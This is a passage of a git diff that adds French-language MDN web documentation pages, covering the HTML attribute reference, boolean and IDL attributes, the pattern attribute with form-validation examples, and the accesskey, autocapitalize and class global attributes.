+   <td>{{HTMLElement("img")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>start</code></td>
+   <td>{{HTMLElement("ol")}}</td>
+   <td>Cet attribut définit le première nombre de la liste si celui-ci est différent de 1.</td>
+  </tr>
+  <tr>
+   <td><code>step</code></td>
+   <td>{{HTMLElement("input")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>style</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut définit des styles CSS qui auront la priorité sur ceux définis précédemment. Il ne devrait être utilisé qu'à des fins de tests car il est conseillé d'utiliser un/des fichier(s) à part pour gérer la mise en forme.</td>
+  </tr>
+  <tr>
+   <td><code>summary</code></td>
+   <td>{{HTMLElement("table")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>tabindex</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut permet de modifier l'ordre dans la navigation à la tabulation.</td>
+  </tr>
+  <tr>
+   <td><code>target</code></td>
+   <td>{{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("base")}}, {{HTMLElement("form")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>title</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut définit un texte expliquant le contenu de l'élément et qui est généralement affiché sous la forme d'une bulle d'information au survol de l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>translate</code></td>
+   <td><a href="/fr/docs/Web/HTML/Attributs_universels" title="en/HTML/Global attributes">Attribut universel</a></td>
+   <td>Cet attribut indique si le contenu textuel de l'élément doit être traduit ou non.</td>
+  </tr>
+  <tr>
+   <td><code>type</code></td>
+   <td>{{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("command")}}, {{HTMLElement("embed")}}, {{HTMLElement("object")}}, {{HTMLElement("script")}}, {{HTMLElement("source")}}, {{HTMLElement("style")}}, {{HTMLElement("menu")}}</td>
+   <td>Cet attribut définit le type de l'élément.</td>
+  </tr>
+  <tr>
+   <td><code>usemap</code></td>
+   <td>{{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>value</code></td>
+   <td>{{HTMLElement("button")}}, {{HTMLElement("option")}}, {{HTMLElement("input")}}, {{HTMLElement("li")}}, {{HTMLElement("meter")}}, {{HTMLElement("progress")}}, {{HTMLElement("param")}}</td>
+   <td>Cet attribut définit la valeur par défaut qui sera affichée dans l'élément au chargement de la page.</td>
+  </tr>
+  <tr>
+   <td><code>width</code></td>
+   <td>{{HTMLElement("canvas")}}, {{HTMLElement("embed")}}, {{HTMLElement("iframe")}}, {{HTMLElement("img")}}, {{HTMLElement("input")}}, {{HTMLElement("object")}}, {{HTMLElement("video")}}</td>
+   <td>
+    <p>Pour ces éléments, cet attribut définit la largeur occupée sur l'écran.</p>
+
+    <div class="note">
+    <p><strong>Note :</strong> Pour tous les autres éléments, comme {{HTMLElement("div")}}, il faut utiliser la propriété CSS standard {{cssxref("width")}} afin de définir la largeur.</p>
+    </div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>wrap</code></td>
+   <td>{{HTMLElement("textarea")}}</td>
+   <td>Cet attribut indique l'utilisation du retour automatique à la ligne pour le texte de l'élément.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Attribut_de_contenu_ou_attribut_IDL">Attribut de contenu ou attribut IDL ?</h2>
+
+<p>En HTML, la plupart des attributs ont deux aspects : l'<strong>attribut de contenu</strong> et l'<strong>attribut IDL</strong> (pour <em>Interface Definition Language</em> ou langage de définition des interfaces).</p>
+
+<p>L'attribut de contenu est l'attribut qu'on définit via le contenu (le code HTML) et qu'on obtenir et/ou définir via les méthodes {{domxref("element.setAttribute()")}} et {{domxref("element.getAttribute()")}}. L'attribut de contenu sera toujours une chaîne de caractères, y compris lorsque la valeur attendue est un entier. Ainsi, pour indiquer une <code>maxlength</code> d'un élément {{HTMLElement("input")}} à 42, on utilisera <code>setAttribute("maxlength", "42")</code> sur cet élément.</p>
+
+<p>L'attribut IDL est également connu sous la forme d'une propriété JavaScript. Ce sont les attributs qu'on peut obtenir ou modifier via JavaScript sous la forme <code class="moz-txt-verticalline">élément.toto</code>. L'attribut IDL utilisera toujours la valeur de l'attribut de contenu sous-jacent, éventuellement en la modifiant pour renvoyer une valeur ou pour la modifier. Autrement dit, les attributs IDL, reflètent les attributs de contenu.</p>
+
+<p>La plupart du temps, les attributs IDL renverront leurs valeurs, telles qu'elles sont utilisées. Par exemple, le type (l'attribut <code>type</code>) par défaut des éléments {{HTMLElement("input")}} vaut <code>"text"</code>, et si on définit <code>input.type="tototruc"</code>, l'élément <code>&lt;input&gt;</code> se comportera comme un élément de type <code>text</code> (en termes d'apparence et de comportement) mais le contenu de l'attribut <code>type</code> sera "tototruc". Cependant, l'attribut de type IDL renverra la chaîne <code>"text"</code>.</p>
+
+<p>Les attributs IDL ne sont pas toujours des chaînes de caractères. <code>input.maxlength</code> est un nombre par exemple (un entier long signé pour être précis). Lorsqu'on manipule des attributs IDL on utilisera toujours le type défini pour l'interface. Ainsi, <code>input.maxlength</code> renverra toujours un nombre et si on souhaite le définir, il faudra le faire avec un nombre, si on passe une valeur d'un autre type, cette valeur sera convertie grâce aux mécanismes de conversion habituels de JavaScript.</p>
+
+<p>Les attributs IDL peuvent avoir d'autres types : entiers longs non-signés, URL, booléens, etc. Cependant, il n'existe pas de règle claire qui définisse le comportement des attributs IDL en fonction de l'attribut de contenu. La plupart du temps, <a href="https://www.w3.org/TR/2011/WD-html5-20110525/common-dom-interfaces.html#reflecting-content-attributes-in-idl-attributes">les règles de cette spécification seront suivies</a>.</p>
+
+<h2 id="Attributs_booléens">Attributs booléens</h2>
+
+<p>Certains attributs de contenu (ex. <code>required</code>, <code>readonly</code>, <code>disabled</code>) sont des <a href="https://www.w3.org/TR/html52/infrastructure.html#sec-boolean-attributes">attributs booléens</a>. Si un attribut booléen est présent, sa valeur correspondra à <em>vrai</em> (<em>true</em>), s'il est absent, sa valeur correspondra à <em>faux</em> (<em>false</em>).</p>
+
+<p>HTML5 définit certaines restrictions quant aux valeurs autorisées pour les attributs booléens. Si un attribut est présent, sa valeur doit être :</p>
+
+<ul>
+ <li>aucune valeur</li>
+ <li>la chaîne vide</li>
+ <li>une valeur écrite en ASCII, insensible à la casse, qui représente le nom canonique de l'attribut sans blanc avant ou après la valeur.</li>
+</ul>
+
+<p>Voici quelques exemples valides pour utiliser un attribut booléen :</p>
+
+<pre>&lt;div itemscope&gt;Ce fragment est du HTML valide mais du XML invalide.&lt;/div&gt;
+&lt;div itemscope=itemscope&gt;Ce fragment est du HTML valide mais du XML invalide.&lt;/div&gt;
+&lt;div itemscope=""&gt;Ce fragment est du HTML valide et du XML valide.&lt;/div&gt;
+&lt;div itemscope="itemscope"&gt;Ce fragment est du HTML et du XML valide mais est plus verbeux.&lt;/div&gt;</pre>
+
+<p>Pour être tout à fait explicite, les valeurs <code>"true"</code> et <code>"false"</code> ne sont pas autorisées pour les attributs booléens. Pour représenter une valeur fausse, il faudra ne pas écrire l'attribut du tout.</p>
+
+<p>Cette règle peut entraîner quelques incompréhensions : si on écrit <code>checked="false"</code> l'attribut <code>checked</code> sera présent et donc considéré comme <em>vrai</em> (<em>true</em>).</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/HTML/Element">Les éléments HTML</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs/pattern/index.html b/files/fr/web/html/attributs/pattern/index.html
new file mode 100644
index 0000000000..556f50aca9
--- /dev/null
+++ b/files/fr/web/html/attributs/pattern/index.html
@@ -0,0 +1,161 @@
+---
+title: 'HTML attribute: pattern'
+slug: Web/HTML/Attributs/pattern
+tags:
+  - Attribut
+  - HTML
+  - Reference
+translation_of: Web/HTML/Attributes/pattern
+---
+<div>{{HTMLSidebar}}</div>
+
+<p>L'attribut <strong><code>pattern</code></strong> indique une <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">expression rationnelle</a> que doit respecter la valeur du contrôle du formulaire. Si une valeur non nulle (qui n'est pas <code>null</code>) ne respecte pas les contraintes portées par <code>pattern</code>, la propriété {{domxref('ValidityState.patternMismatch','patternMismatch')}} en lecture seule, rattachée à l'objet {{domxref('ValidityState')}}, vaudra <code>true</code>.</p>
+
+<p>L'attribut <code>pattern</code> peut être utilisé pour les champs de type {{HTMLElement("input/text", "text")}}, {{HTMLElement("input/tel", "tel")}}, {{HTMLElement("input/email", "email")}}, {{HTMLElement("input/url", "url")}}, {{HTMLElement("input/password", "password")}}, {{HTMLElement("input/search", "search")}}.</p>
+
+<div id="pattern-include">
+<p>La valeur de cet attribut doit être une expression rationnelle JavaScript valide (voir la documentation de {{jsxref("RegExp")}} et <a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">le guide sur les expressions rationnelles</a>). Le marqueur (<em>flag</em>) <code>'u'</code> pour être utilisé afin d'indiquer que l'expression rationnelle est une séquence de codets Unicode et non ASCII. On n'utilisera pas de barres obliques (<em>slashes</em>) autour du texte du motif de l'expression rationnelle.</p>
+
+<p>Si le motif n'est pas indiqué ou est invalide, aucune expression rationnelle ne sera appliquée et l'attribut sera ignoré.</p>
+
+<div class="note">
+<p><strong>Note :</strong> On pourra utiliser l'attribut {{htmlattrxref("title", "input")}} afin de fournir aux utilisateurs des explications quant aux règles à respecter pour que la valeur soit valide. Attention, on ne doit pas utiliser uniquement cet attribut pour fournir ces explications. Voir ci-après quant à l'utilisabilité.</p>
+</div>
+</div>
+
+<p>Certains types d'<code>&lt;input&gt;</code> qui prennent en charge l'attribut <code>pattern</code> (notamment {{HTMLElement("input/email", "email")}} et {{HTMLElement("input/url", "url")}}) ont des contraintes particulières qui doivent également être respectées. Si l'attribut <code>pattern</code> n'est pas présent et que la valeur saisie ne respecte pas la syntaxe attendue pour ce type de champ, la propriété en lecture seule {{domxref('ValidityState.typeMismatch','typeMismatch')}} vaudra <code>true</code>.</p>
+
+<h3 id="Utilisabilité">Utilisabilité</h3>
+
+<p>Lorsqu'on utilise l'attribut <code>pattern</code>, il est nécessaire de fournir une description du format attendu avec un texte visible près du contrôle. On pourra en plus utiliser l'attribut <code><a href="/fr/docs/Web/HTML/Attributs_universels/title">title</a></code> afin de fournir une description. Les agents utilisateur peuvent utiliser la valeur de <code>title</code> lors de la validation des contraintes afin d'indiquer à l'utilisateur que le motif n'est pas respecté. Certains navigateurs pourront afficher une bulle d'information et certains outils d'assistance pourront énoncer le contenu de <code>title</code> à voix haute lorsque le focus arrive sur le contrôle. Toutefois, l'utilisation seule de cet attribut ne suffit pas pour fournir une accessibilité suffisante.</p>
+
+<h3 id="Validation_des_contraintes">Validation des contraintes</h3>
+
+<p>Si la valeur du champ n'est pas la chaîne vide et que la valeur ne respecte pas l'expression rationnelle, on aura une incohérence, portée par {{domxref('ValidityState.patternMismatch','patternMismatch')}}.<br>
+ L'expression rationnelle indiquée doit correspondre pour toute la chaîne (depuis son début jusqu'à la fin. Autrement dit, c'est comme si on enveloppait l'expression entre <code>^(?:</code> et <code>)$</code> afin d'indiquer que c'est toute la chaîne qui est considérée (et pas une de ses sous-partie).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Avec le fragment de code HTML suivant :</p>
+
+<div id="exemple1">
+<pre class="brush: html notranslate">&lt;p&gt;
+ &lt;label&gt;Veuillez saisir votre numéro de téléphone au format (123)456-7890
+  (&lt;input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/&gt;)-
+   &lt;input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/&gt; -
+   &lt;input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3"/&gt;
+ &lt;/label&gt;
+&lt;/p&gt;</pre>
+
+<p>Ici on a les trois sections d'un numéro de téléphone nord-américain avec les deux premières contenant 3 chiffres et la dernière contenant 4 chiffres.</p>
+
+<p>Si les valeurs saisies sont trop longues ou trop courtes ou si elles contiennent des caractères qui ne sont pas des chiffres, la valeur de l'attribut <code>patternMismatch</code> sera <code>true</code>. On aura également l'activation de la pseudo-classe CSS {{cssxref(":invalid")}}.</p>
+
+<pre class="brush: css notranslate">input:invalid {
+  border: red solid 3px;
+}</pre>
+
+<p>{{EmbedLiveSample("exemple1", 300, 40)}}</p>
+</div>
+
+<p>En utilisant les attributs <code><a href="/fr/docs/Web/HTML/Attributes/minlength">minlength</a></code> et <code><a href="/fr/docs/Web/HTML/Attributes/maxlength">maxlength</a></code> à la place, on aurait eu les propriétés {{domxref('validityState.tooLong')}} ou {{domxref('validityState.tooShort')}} qui auraient valu <code>true</code>.</p>
+
+<h3 id="Indiquer_un_motif">Indiquer un motif</h3>
+
+<p>On pourra utiliser l'attribut {{htmlattrxref("pattern","input")}} afin d'indiquer une expression rationnelle qui devra être respectée par la valeur saisie pour que celle-ci soit considérée comme valide (voir <a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire#Validation_selon_une_expression_régulière">ce guide sur la validation avec les expressions rationnelles</a> pour une introduction).</p>
+
+<p>L'exemple qui suit permet de restreindre les valeurs saisies entre 4 et 8 caractères qui doivent également être des lettres minuscules.</p>
+
+<pre class="brush: html notranslate">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="uname"&gt;Veuillez choisir un nom d'utilisateur : &lt;/label&gt;
+    &lt;input type="text" id="uname" name="name" required size="45"
+           pattern="[a-z]{4,8}" title="4 à 8 lettres en minuscules"&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+    &lt;p&gt;Les noms d'utilisateurs doivent être en minuscules et contenir 4 à 8 caractères.&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;button&gt;Envoyer&lt;/button&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css notranslate">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+p {
+  font-size: 80%;
+  color: #999;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Indiquer_un_motif', 600, 110)}}</p>
+
+<h3 id="Accessibilité">Accessibilité</h3>
+
+<p>Lorsqu'un contrôle dispose de l'attribut <code>pattern</code>, l'attribut <code>title</code>, s'il est utilisé, doit décrire le motif souhaité. Attention, reposer uniquement sur l'attribut <code>title</code> pour fournir une aide visuelle n'est pas souhaitable car la plupart des agents utilisateur n'exposent pas cet attribut de façon accessible. Certains navigateurs affichent une bulle d'information lorsqu'on survole l'élément avec un pointeur mais cela laisse de côté les utilisateurs qui naviguent avec le clavier ou ceux qui utilisent une interface tactile. Il faut donc inclure au moins autrement des informations sur la façon de saisir des valeurs qui respectent les contraintes.</p>
+
+<p>L'attribut <code>title</code> est utilisé par certains navigateurs pour écrire les messages d'erreur. Attention toutefois car les navigateurs affichent également le contenu de cet attribut au survol de l'élément y compris lorsqu'il n'y a pas d'erreur. La formulation doit être choisie avec précaution pour ne pas induire l'utilisateur en erreur.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#attr-input-pattern', 'pattern')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'forms.html#attr-input-pattern', 'pattern')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#attr-input-pattern', 'pattern')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("html.elements.attributes.pattern")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">Les contraintes de validation</a></li>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms/Data_form_validation">La validation des données de formulaires</a></li>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">Les expressions rationnelles (ou expressions régulières / <em>regexp</em>)</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/accesskey/index.html b/files/fr/web/html/attributs_universels/accesskey/index.html
new file mode 100644
index 0000000000..e53f876ed8
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/accesskey/index.html
@@ -0,0 +1,143 @@
+---
+title: accesskey
+slug: Web/HTML/Attributs_universels/accesskey
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/accesskey
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<div>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>accesskey</strong></code> fournit une indication afin de générer un raccourci clavier pour l'élément courant. La valeur de cet attribut est une liste de caractères (un caractère étant ici un seul point de code Unicode) séparés par des espaces. Le navigateur utilisera le premier caractère qui est disponible selon la disposition du clavier utilisée.</div>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>La combinaison de touches utilisée pour le raccourci clavier dépend du navigateur et du système d'exploitation utilisés.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La spécification WHATWG indique qu'il est possible d'indiquer des caractères séparés par plusieurs espaces, auquel cas le navigateur considèrera le premier qu'il prend en charge. Toutefois, cela ne fonctionne pas dans la plupart des navigateurs. Pour IE/Edge, c'est la première valeur prise en charge qui sera utilisée si celle-ci n'entre pas en conflit avec d'autres commandes.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th></th>
+   <th>Windows</th>
+   <th>Linux</th>
+   <th>Mac</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Firefox</th>
+   <td colspan="2" rowspan="1"><kbd>Alt</kbd> + <kbd>Shift</kbd> + <kbd><em>touche</em></kbd></td>
+   <td>
+    <p>Pour Firefox 57 et les versions ultérieures : <kbd>Control</kbd> + <kbd>Option</kbd> + <kbd><em>touche</em></kbd> ou <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>touche</em></kbd><br>
+     Pour Firefox 14 et les versions ultérieures : <kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>touche</em></kbd><br>
+     Pour Firefox 13 et les versions antérieures : <kbd>Control</kbd> + <kbd><em>touche</em></kbd></p>
+   </td>
+  </tr>
+  <tr>
+   <th>Edge</th>
+   <td><kbd>Alt</kbd> + <kbd><em>touche</em></kbd></td>
+   <td colspan="2" rowspan="1">N/A</td>
+  </tr>
+  <tr>
+   <th>Internet Explorer</th>
+   <td><kbd>Alt</kbd> + <kbd><em>touche</em></kbd></td>
+   <td colspan="2" rowspan="1">N/A</td>
+  </tr>
+  <tr>
+   <th>Google Chrome</th>
+   <td colspan="2" rowspan="1"><kbd>Alt</kbd> + <kbd><em>touche</em></kbd></td>
+   <td><kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>touche</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Safari</th>
+   <td><kbd>Alt</kbd> + <kbd><em>touche</em></kbd></td>
+   <td>N/A</td>
+   <td><kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>touche</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Opera 15+</th>
+   <td colspan="2" rowspan="1" style="text-align: center;"><kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+   <td><kbd>Control</kbd> + <kbd>Alt</kbd> + <kbd><em>key</em></kbd></td>
+  </tr>
+  <tr>
+   <th>Opera 12</th>
+   <td colspan="3" rowspan="1"><kbd>Shift</kbd> + <kbd>Esc</kbd> ouvre une liste de contenu accessible via la touche <code>accesskey</code>, on peut alors ensuite choisir l'élément voulu grâce la touche <kbd><em>touche</em></kbd></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Au-delà de la prise en charge limitée des navigateurs, <code>accesskey</code> pose plusieurs problèmes :</p>
+
+<ul>
+ <li>Un raccourci défini avec <code>accesskey</code> peut rentrer en conflit avec un raccourci du système ou du navigateur, voire avec un raccourci d'un outil d'assistance. Les raccourcis pouvant être différents entre les navigateurs, systèmes d'exploitation et les outils, il n'est pas certain qu'une combinaison qui fonctionne dans un cas puisse fonctionner partout.</li>
+ <li>Certains raccourcis définis avec <code>accesskey</code> peuvent ne pas être utilisés avec certains claviers, notamment lorsqu'on doit prendre en compte l'internationalisation.</li>
+ <li>Les raccourcis définis avec <code>accesskey</code> qui utilisent un nombre peuvent être source de confusion pour les personnes souffrant de problèmes cognitifs si le nombre n'a pas d'association logique avec la fonctionnalité déclenchée par le raccourci.</li>
+ <li>Il est nécessaire d'informer l'utilisateur qu'un raccourci est présent afin que celui-ci puisse être conscient de cette fonctionnalité. Sans méthode d'information, l'utilisateur pourra accidentellement déclencher les raccourcis définis avec <code>accesskey</code>.</li>
+</ul>
+
+<p>Étant donné ces raisons, il est généralement conseillé de ne pas utiliser <code>accesskey</code> pour les sites web et applications généralistes.</p>
+
+<ul>
+ <li><a href="https://webaim.org/techniques/keyboard/accesskey#spec">WebAIM : accessibilité au clavier - <code>accesskey</code> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>Un comportement plus réaliste est défini et correspond à ce qui est réellement implémenté.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Aucune modification depuis {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "editing.html#the-accesskey-attribute", "accesskey")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Plusieurs caractères peuvent être définis via cet attribut depuis {{SpecName('HTML4.01')}}. Cet attribut peut désormais être défini sur n'importe quel élément.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', "interact/forms.html#h-17.11.2", "accesskey")}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>L'attribut est uniquement pris en charge par {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} et {{HTMLElement("textarea")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.accesskey")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.accessKey")}}</li>
+ <li>{{domxref("HTMLElement.accessKeyLabel")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Attributs_universels">Les différents attributs universels</a></li>
+</ul>
diff --git a/files/fr/web/html/attributs_universels/autocapitalize/index.html b/files/fr/web/html/attributs_universels/autocapitalize/index.html
new file mode 100644
index 0000000000..206412edde
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/autocapitalize/index.html
@@ -0,0 +1,49 @@
+---
+title: autocapitalize
+slug: Web/HTML/Attributs_universels/autocapitalize
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/autocapitalize
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>autocapitalize</strong></code> est un attribut à valeurs contraintes qui contrôle la façon dont le texte saisi est automatiquement converti en majuscules ou non. Voici les valeurs autorisées pour cet attribut :</p>
+
+<ul>
+ <li><code>off</code> ou <code>none</code> : aucune transformation automatique n'est appliquée (par défaut, les lettres sont écrites en minuscules)</li>
+ <li><code>on</code> ou <code>sentences</code> : la première lettre de chaque phrase est automatiquement écrite en majuscule, les autres lettres ne sont pas transformées (elles sont par défaut en minuscules)</li>
+ <li><code>words</code> : la première lettre de chaque mot est automatiquement écrite en majuscule, les autres lettres ne sont pas transformées (elles sont par défaut en minuscules)</li>
+ <li><code>characters</code> : toutes les lettres sont converties en majuscules.</li>
+</ul>
+
+<p>L'attribut <code>autocapitalize</code> n'a aucun impact lorsqu'on utilise un clavier physique. Il modifie la saisie pour les autres moyens de saisie tels que les claviers virtuels ou les moyens de saisie orale. Le but de cet attribut est d'aider de tels moyens à faciliter la saisie de l'utilisateur. Par défaut, un tel moyen de saisie utilisera une majuscule pour chaque début de phrase, modifier l'attribut <code>autocapitalize</code> permet aux auteurs de modifier ce comportement selon les différents éléments.</p>
+
+<p>L'attribut <code>autocapitalize</code> n'entraînera pas de mise en majuscule automatique pour un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} vaut <code>url</code>, <code>email</code> ou <code>password</code>.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "interaction.html#autocapitalization", "autocapitalize")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.global_attributes.autocapitalize")}}</p>
diff --git a/files/fr/web/html/attributs_universels/class/index.html b/files/fr/web/html/attributs_universels/class/index.html
new file mode 100644
index 0000000000..6204b6a173
--- /dev/null
+++ b/files/fr/web/html/attributs_universels/class/index.html
@@ -0,0 +1,63 @@
+---
+title: class
+slug: Web/HTML/Attributs_universels/class
+tags:
+  - Attribut
+  - Attribut universel
+  - HTML
+  - Reference
+translation_of: Web/HTML/Global_attributes/class
+---
+<div>{{HTMLSidebar("Global_attributes")}}</div>
+
+<p>L'<a href="/fr/docs/Web/HTML/Attributs_universels">attribut universel</a> <code><strong>class</strong></code> indique une liste de classes associées à l'élément courant. Les classes permettent de manipuler les éléments, via CSS ou JavaScript en utilisant <a href="/fr/docs/Web/CSS/Sélecteurs_de_classe">les sélecteurs de classe</a> ou des fonctions telles que {{domxref("document.getElementsByClassName")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>Bien que la spécification ne précise aucune contrainte quant aux noms utilisés pour les classes, une bonne pratique consiste à utiliser des noms qui traduisent la sémantique de l'élément plutôt que la mise en forme. Ainsi, les noms sémantiques restent pertinents même lorsque la présentation de la page évolue.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "dom.html#classes", "class")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Aucune modification depuis {{SpecName('HTML5.1')}}.</td>
+  </tr>
+  <tr>
